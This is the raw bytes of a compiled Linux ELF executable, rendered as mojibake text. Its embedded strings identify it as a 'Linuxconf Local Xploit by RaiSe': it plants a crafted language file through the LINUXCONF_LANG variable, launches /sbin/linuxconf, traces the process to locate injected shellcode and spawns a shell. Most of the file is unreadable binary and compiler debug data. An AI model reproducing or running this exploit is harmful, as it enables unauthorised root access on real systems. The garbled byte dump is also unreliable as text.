DTELF4(54 (444Ó[ôôôÀÓ[Ó[? Ÿá /lib/ld-linux.so.2GNU
ÌN
>0?ÈÚ?"X?-DT2Kx,/`)\¡¡`¡L/E\ÚltÂ|?26?R¼X¨ÌÜh?³d? __gmon_start__libc.so.6waitpidprintfstdoutexecl__cxa_finalizesleepfflushbzerof
printf__deregister_frame_infosetenvforkmemsetptracesprintffclosestderrexitfopen_IO_stdin_used__libc_start_mainmkdir__register
_frame_infoGLIBC_2.1.3GLIBC_2.1GLIBC_2.0si ðii
üii
\? `?@ D H L P T X \ ` d h
l p t x | Uåì?èè6ÉÃÿ58 ÿ%< ÿ%@ héàÿÿÿÿ%D héÐÿÿÿÿ%H héÀÿÿÿÿ%L hé°ÿÿÿÿ%P h ?ÿÿÿÿ%T h(?ÿÿÿ%X h0?ÿÿÿ%\ h8épÿÿÿÿ%` h@é`ÿÿÿÿ%d hHéPÿÿÿÿ%h hPé@
ÿÿÿÿ%l hX?ÿÿÿÿ%p h`?ÿÿÿÿ%t hh?ÿÿÿ%x hp?ÿÿÿ%| hxÝV?ÿÿ% héà?ÿÿ% héÐ?ÿÿ% héÀ?ÿÿ% hé°?ÿ1í^áäðPTRh0h?QVhèKÿÿÿôöUåSPè[é}\
ÀtÿÐ]üÉé}Uåì?ÒuI?Àtt&B£Èÿ?
Éuê¸<
Àtìh èþÿÿĸ£Ìì]ÃvUåìì]öU¸ì
åì
Àtìhd¡h èû?ÿ”f]ô&Uåìì]öUåì8ìhèf?ÿ”fÿ5\¡è‹žÿÿ”fhàh?ØïÿÿPè©?ÿ”fh?ØïÿÿPèb?ÿÄÀ
Àt!ìh?5`¡èv?ÿ”fjÿ??ÿhàhàh
ØïÿÿPèM?ÿ”fh
ØïÿÿP??ÿÄÀEô}ôu ìh ÿ5`¡è?ÿ”fjÿèØ?ÿ?uôè?ÿ”fh@è}?ÿ”fh`èm?ÿ”fÿ5\¡èìüÿÿ”fh
‚áÿÿPèu?ÿÄè©À
Ôïÿÿ
‚áÿÿ
Ðïÿÿ?Ìïÿÿv½Ì?ÿÿ~Tìjhàh™³ÿÿ”fj
‚áÿÿPh™³ÿÿ”fjhh¡è?ÿ”fjÿ??ÿvÐïÿÿ
Ôïÿÿ
Ðïÿÿ
Ìïÿÿé{ÿÿÿvUå왳ÿÿÀE}
§ìj??ÿ”fh
x?ÿP™³ÿÿ”fhjA
x?ÿP™³ÿÿ”fjhàhèÆ?ÿ”fj
x?ÿPhèûÿÿ”fjhh¡èF?ÿ”fh?5`¡èP?ÿ”fjÿ™³ÿÿv?ujè£?ÿÄÀ
Àt"ìh?5`¡è?ÿ”fjÿèÚ?ÿöNjjÿuèI?ÿ”fh×èy?ÿ”fÿ5\¡èøúÿÿÄjjÿuj??ÿÄÀ
Àt"ìh?5`¡è«úÿÿ”fjÿèn?ÿöNjjÿu™µ?ÿÄEPjÿujèê?ÿÄÀ
Àt!ìhÿ5`¡è^?ÿ”fjÿ??ÿ?uÔh™É?ÿ”fÿ5\¡èO?ÿÄÇEÇEôöjEEÔPEÿÿujèt?ÿÄEôEôøÿu"ìh8ÿ5`¡èãùÿÿ”fjÿè¦?ÿö}ôu¯EÿìEEÔPh`èB?ÿ”fÿ5\¡èÁùÿ
ÿÄjjÿujèúÿÿÄÀ
Àt#ìhÿ5`¡èt?ÿ”fjÿ??ÿvìjjÿuè¥?ÿ”fhèÕ?ÿ”fÿ5\¡èT?ÿ”fj™ôÿÿÄEEÔÀÉÃöUåSì¡$ ? ?tv??ÀmÿuôX[]ÃUåìì]öUåSRè[ã‘vèúÿÿ]üÉ?[ Linuxconf Local Xploit by RaiSe ]
%s.eng* Error at creat directory (.eng), +w? is it exist?, delete it and run again.
%s.eng/%s.engw* Error at creat file, +w?
* Directory + file created ..
[dont forget to delete it ;)]
SCODELINUXCONF_LANGlinuxconf/sbin/linuxconfError: execl.
Error: PTRACE_ATTACH.
[* Looking at %%esp .. ]
Error: PTRACE_CONT.
Error: PTRACE_GETREGS.
[* Looking at: 0x%08x ]
Error: PTRACE_PEEKTEXT.
[* Shellcode found at: 0x%08x ]
Error: PTRACE_KILL.
[* Xploting .. ]
0 1??ɰF?ÉQ?eshf5VJP¸eebif5JJPãQS??ÅD?ÿÿÿÿÿÿÿ ???"2BRbr¢²yâò?
0(h??
ìþÿÿo?ÿÿo?ÿox¢d4d49
n?@A±BÉCßDöEF$G;HTIiNÏQçRST9UU
VmX
[^·eÍhçl q r5 uP vm y z? }? ? ?
&
@
Ët
F
¢Ò
#VY4u<ÂCúF
S?Z?^ÙlùtMyn?¢¢
Lb8¢wb¢¢ÉK¢¢L#Ôç5ÁLÂw‚H‰Åðz×H8KgLUËZ^?awb¯\ûr¢¢5 7!899S:¢m d4init.c/usr/src/build/40453-i386/BUILD/glibc-2.2.4/csu/gcc
2_compiled.int:t(0,1)=r(0,1);-2147483648;2147483647;char:t(0,2)=r(0,2);0;127;long int:t(0,3)=r(0,3);-2147483648;2147483647;un
signed int:t(0,4)=r(0,4);0000000000000;0037777777777;long unsigned int:t(0,5)=r(0,5);0000000000000;0037777777777;long long in
t:t(0,6)=@s64;r(0,6);01000000000000000000000;0777777777777777777777;long long unsigned int:t(0,7)=@s64;r(0,7);0000000000000;0
1777777777777777777777;short int:t(0,8)=@s16;r(0,8);-32768;32767;short unsigned int:t(0,9)=@s16;r(0,9);0;65535;signed char:t(
0,10)=@s8;r(0,10);-128;127;unsigned char:t(0,11)=@s8;r(0,11);0;255;float:t(0,12)=r(0,1);4;0;double:t(0,13)=r(0,1);8;0;long do
uble:t(0,14)=r(0,1);12;0;complex int:t(0,15)=s8real:(0,1),0,32;imag:(0,1),32,32;;complex float:t(0,16)=r(0,16);8;0;complex do
uble:t(0,17)=r(0,17);16;0;complex long double:t(0,18)=r(0,18);24;0;__builtin_va_list:t(0,19)=*(0,20)=(0,20)../include/libc-sy
mbols.h/usr/src/build/40453-i386/BUILD/glibc-2.2.4/build-i386-linux/config.h../sysdeps/gnu/_G_config.h../sysdeps/unix/sysv/li
nux/bits/types.h../include/features.h../include/sys/cdefs.h../misc/sys/cdefs.h/usr/lib/gcc-lib/i386-redhat-linux/2.96/include
/stddef.hsize_t:t(8,1)=(0,4)__u_char:t(4,1)=(0,11)__u_short:t(4,2)=(0,9)__u_int:t(4,3)=(0,4)__u_long:t(4,4)=(0,5)__u_quad_t:t
(4,5)=(0,7)__quad_t:t(4,6)=(0,6)__int8_t:t(4,7)=(0,10)__uint8_t:t(4,8)=(0,11)__int16_t:t(4,9)=(0,8)__uint16_t:t(4,10)=(0,9)__
int32_t:t(4,11)=(0,1)__uint32_t:t(4,12)=(0,4)__int64_t:t(4,13)=(0,6)__uint64_t:t(4,14)=(0,7)__qaddr_t:t(4,15)=(4,16)=*(4,6)__
dev_t:t(4,17)=(4,5)__uid_t:t(4,18)=(4,3)__gid_t:t(4,19)=(4,3)__ino_t:t(4,20)=(4,4)__mode_t:t(4,21)=(4,3)__nlink_t:t(4,22)=(4,
3)__off_t:t(4,23)=(0,3)__loff_t:t(4,24)=(4,6)__pid_t:t(4,25)=(0,1)__ssize_t:t(4,26)=(0,1)__rlim_t:t(4,27)=(4,4)__rlim64_t:t(4
,28)=(4,5)__id_t:t(4,29)=(4,3)__fsid_t:t(4,30)=(4,31)=s8__val:(4,32)=ar(4,33)=r(4,33);0000000000000;0037777777777;;0;1;(0,1),
0,64;;__daddr_t:t(4,34)=(0,1)__caddr_t:t(4,35)=(4,36)=*(0,2)__time_t:t(4,37)=(0,3)__useconds_t:t(4,38)=(0,4)__suseconds_t:t(4
,39)=(0,3)__swblk_t:t(4,40)=(0,3)__clock_t:t(4,41)=(0,3)__clockid_t:t(4,42)=(0,1)__timer_t:t(4,43)=(0,1)__key_t:t(4,44)=(0,1)
__ipc_pid_t:t(4,45)=(0,9)__blksize_t:t(4,46)=(0,3)__blkcnt_t:t(4,47)=(0,3)__blkcnt64_t:t(4,48)=(4,6)__fsblkcnt_t:t(4,49)=(4,4
)__fsblkcnt64_t:t(4,50)=(4,5)__fsfilcnt_t:t(4,51)=(4,4)__fsfilcnt64_t:t(4,52)=(4,5)__ino64_t:t(4,53)=(4,5)__off64_t:t(4,54)=(
4,24)__t_scalar_t:t(4,55)=(0,3)__t_uscalar_t:t(4,56)=(0,5)__intptr_t:t(4,57)=(0,1)__socklen_t:t(4,58)=(0,4)../linuxthreads/sy
sdeps/pthread/bits/pthreadtypes.h../sysdeps/unix/sysv/linux/bits/sched.h__sched_param:T(10,1)=s4__sched_priority:(0,1),0,32;;
_pthread_fastlock:T(9,1)=s8__status:(0,3),0,32;__spinlock:(0,1),32,32;;_pthread_descr:t(9,2)=(9,3)=*(9,4)=xs_pthread_descr_st
ruct:__pthread_attr_s:T(9,5)=s36__detachstate:(0,1),0,32;__schedpolicy:(0,1),32,32;__schedparam:(10,1),64,32;__inheritsched:(
0,1),96,32;__scope:(0,1),128,32;__guardsize:(8,1),160,32;__stackaddr_set:(0,1),192,32;__stackaddr:(0,19),224,32;__stacksize:(
8,1),256,32;;pthread_attr_t:t(9,6)=(9,5)pthread_cond_t:t(9,7)=(9,8)=s12__c_lock:(9,1),0,64;__c_waiting:(9,2),64,32;;pthread_c
ondattr_t:t(9,9)=(9,10)=s4__dummy:(0,1),0,32;;pthread_key_t:t(9,11)=(0,4)pthread_mutex_t:t(9,12)=(9,13)=s24__m_reserved:(0,1)
,0,32;__m_count:(0,1),32,32;__m_owner:(9,2),64,32;__m_kind:(0,1),96,32;__m_lock:(9,1),128,64;;pthread_mutexattr_t:t(9,14)=(9,
15)=s4__mutexkind:(0,1),0,32;;pthread_once_t:t(9,16)=(0,1)_pthread_rwlock_t:T(9,17)=s32__rw_lock:(9,1),0,64;__rw_readers:(0,1
),64,32;__rw_writer:(9,2),96,32;__rw_read_waiting:(9,2),128,32;__rw_write_waiting:(9,2),160,32;__rw_kind:(0,1),192,32;__rw_ps
hared:(0,1),224,32;;pthread_rwlock_t:t(9,18)=(9,17)pthread_rwlockattr_t:t(9,19)=(9,20)=s8__lockkind:(0,1),0,32;__pshared:(0,1
),32,32;;pthread_spinlock_t:t(9,21)=(0,1)pthread_barrier_t:t(9,22)=(9,23)=s20__ba_lock:(9,1),0,64;__ba_required:(0,1),64,32;_
_ba_present:(0,1),96,32;__ba_waiting:(9,2),128,32;;pthread_barrierattr_t:t(9,24)=(9,25)=s4__pshared:(0,1),0,32;;pthread_t:t(9
,26)=(0,5)wchar_t:t(11,1)=(0,3)wint_t:t(11,2)=(0,4)../include/wchar.h../wcsmbs/wchar.h../sysdeps/unix/sysv/linux/i386/bits/wc
har.h__mbstate_t:t(13,1)=(13,2)=s8__count:(0,1),0,32;__value:(13,3)=u4__wch:(11,2),0,32;__wchb:(13,4)=ar(4,33);0;3;(0,2),0,32
;;,32,32;;_G_fpos_t:t(3,1)=(3,2)=s12__pos:(4,23),0,32;__state:(13,1),32,64;;_G_fpos64_t:t(3,3)=(3,4)=s16__pos:(4,54),0,64;__s
tate:(13,1),64,64;;../include/gconv.h../iconv/gconv.h :T(17,1)=e__GCONV_OK:0,__GCONV_NOCONV:1,__GCONV_NODB:2,__GCONV_NOMEM:3,
__GCONV_EMPTY_INPUT:4,__GCONV_FULL_OUTPUT:5,__GCONV_ILLEGAL_INPUT:6,__GCONV_INCOMPLETE_INPUT:7,__GCONV_ILLEGAL_DESCRIPTOR:8,_
_GCONV_INTERNAL_ERROR:9,; :T(17,2)=e__GCONV_IS_LAST:1,__GCONV_IGNORE_ERRORS:2,;__gconv_fct:t(17,3)=(17,4)=*(17,5)=f(0,1)__gco
nv_init_fct:t(17,6)=(17,7)=*(17,8)=f(0,1)__gconv_end_fct:t(17,9)=(17,10)=*(17,11)=f(0,20)__gconv_trans_fct:t(17,12)=(17,13)=*
(17,14)=f(0,1)__gconv_trans_context_fct:t(17,15)=(17,16)=*(17,17)=f(0,1)__gconv_trans_query_fct:t(17,18)=(17,19)=*(17,20)=f(0
,1)__gconv_trans_init_fct:t(17,21)=(17,22)=*(17,23)=f(0,1)__gconv_trans_end_fct:t(17,24)=(17,25)=*(17,26)=f(0,20)__gconv_tran
s_data:T(17,27)=s20__trans_fct:(17,12),0,32;__trans_context_fct:(17,15),32,32;__trans_end_fct:(17,24),64,32;__data:(0,19),96,
32;__next:(17,28)=*(17,27),128,32;;__gconv_step:T(17,29)=s56__shlib_handle:(17,30)=*(17,31)=xs__gconv_loaded_object:,0,32;__m
odname:(17,32)=*(0,2),32,32;__counter:(0,1),64,32;__from_name:(4,36),96,32;__to_name:(4,36),128,32;__fct:(17,3),160,32;__init
_fct:(17,6),192,32;__end_fct:(17,9),224,32;__min_needed_from:(0,1),256,32;__max_needed_from:(0,1),288,32;__min_needed_to:(0,1
),320,32;__max_needed_to:(0,1),352,32;__stateful:(0,1),384,32;__data:(0,19),416,32;;__gconv_step_data:T(17,33)=s36__outbuf:(1
7,34)=*(0,11),0,32;__outbufend:(17,34),32,32;__flags:(0,1),64,32;__invocation_counter:(0,1),96,32;__internal_use:(0,1),128,32
;__statep:(17,35)=*(13,1),160,32;__state:(13,1),192,64;__trans:(17,28),256,32;;__gconv_info:T(17,36)=s8__nsteps:(8,1),0,32;__
steps:(17,37)=*(17,29),32,32;__data:(17,38)=ar(4,33);0;-1;(17,33),64,0;;__gconv_t:t(17,39)=(17,40)=*(17,36)_G_iconv_t:t(3,5)=
(3,6)=u44__cd:(17,36),0,64;__combined:(3,7)=s44__cd:(17,36),0,64;__data:(17,33),64,288;;,0,352;;_G_int16_t:t(3,8)=(0,8)_G_int
32_t:t(3,9)=(0,1)_G_uint16_t:t(3,10)=(0,9)_G_uint32_t:t(3,11)=(0,4)_IO_stdin_used:G(0,1)GCC: (GNU) 2.96 20000731 (Red Hat Lin
ux 7.1 2.96-97)GCC: (GNU) 2.96 20000731 (Red Hat Linux 7.1 2.96-97)GCC: (GNU) 2.96 20000731 (Red Hat Linux 7.1 2.96-98)GCC: (
GNU) 2.96 20000731 (Red Hat Linux 7.1 2.96-98)GCC: (GNU) 2.96 20000731 (Red Hat Linux 7.1 2.96-98)GCC: (GNU) 2.96 20000731 (R
ed Hat Linux 7.1 2.96-97)01.0101.0101.0101.0101.0101.01.symtab.strtab.shstrtab.interp.note.ABI-tag.hash.dynsym.dynstr.gnu.ver
sion.gnu.version_r.rel.dyn.rel.plt.init.plt.text.fini.rodata.data.eh_frame.ctors.dtors.got.dynamic.sbss.bss.stab.stabstr.comm
ent.noteôô# 1((?ØØ?hhGÿÿÿoxx2T?ÿo¬¬@c ììl
u?¤{?¼P 00
``
` Ó[` ? $? ,? 4`?ÈÀ\¡\Æ\¡\ Ë\¤Ñ?Dé3x?4éØ9; ?n?Øhx¬ì
?
?0
`? $ , 4 \¡\¡ñÿ44+?2?`=ÈA, OÌ[`q Àd¡Ð¤¯Ð½$ 2?ú\ðá( ?? ? ? ?0 ??>$?? >øêH?"i`p?-2¥à8?/žr
??ê\¡ü`¡L/!(\?ltK\¡ñÿWå\|Êy?20
®¬"ʼXÛÌë\¡ñÿ? |¡ñÿ
Üh?0d??RÀ_ initfini.cgcc2_compiled.call_gmon_startinit.ccrtstuff.cp.0__DTOR_LIST__completed.1__do_global_dtors_aux__EH_FRAM
E_BEGIN__fini_dummyobject.2frame_dummyinit_dummyforce_to_data__CTOR_LIST____do_global_ctors_aux__CTOR_END____DTOR_END____FRAM
E_END__nslconf.cmkdir@@GLIBC_2.0execl@@GLIBC_2.0_DYNAMICget_shell__register_frame_info@@GLIBC_2.0_fp_hwfprintf@@GLIBC_2.0fork
@@GLIBC_2.0fflush@@GLIBC_2.0shellcodesetenv@@GLIBC_2.0_init__deregister_frame_info@@GLIBC_2.0stdout@@GLIBC_2.0stderr@@GLIBC_2
.0waitpid@@GLIBC_2.0_startsleep@@GLIBC_2.0ptrace@@GLIBC_2.0__bss_startmain__libc_start_main@@GLIBC_2.0data_startprintf@@GLIBC
_2.0_finifclose@@GLIBC_2.1__cxa_finalize@@GLIBC_2.1.3bzero@@GLIBC_2.0exit@@GLIBC_2.0_edata_GLOBAL_OFFSET_TABLE__endmemset@@GL
IBC_2.0fopen@@GLIBC_2.1_IO_stdin_usedsprintf@@GLIBC_2.0__data_start__gmon_start__
ÑÇÖÞÅ·ÃÀÔÚÏß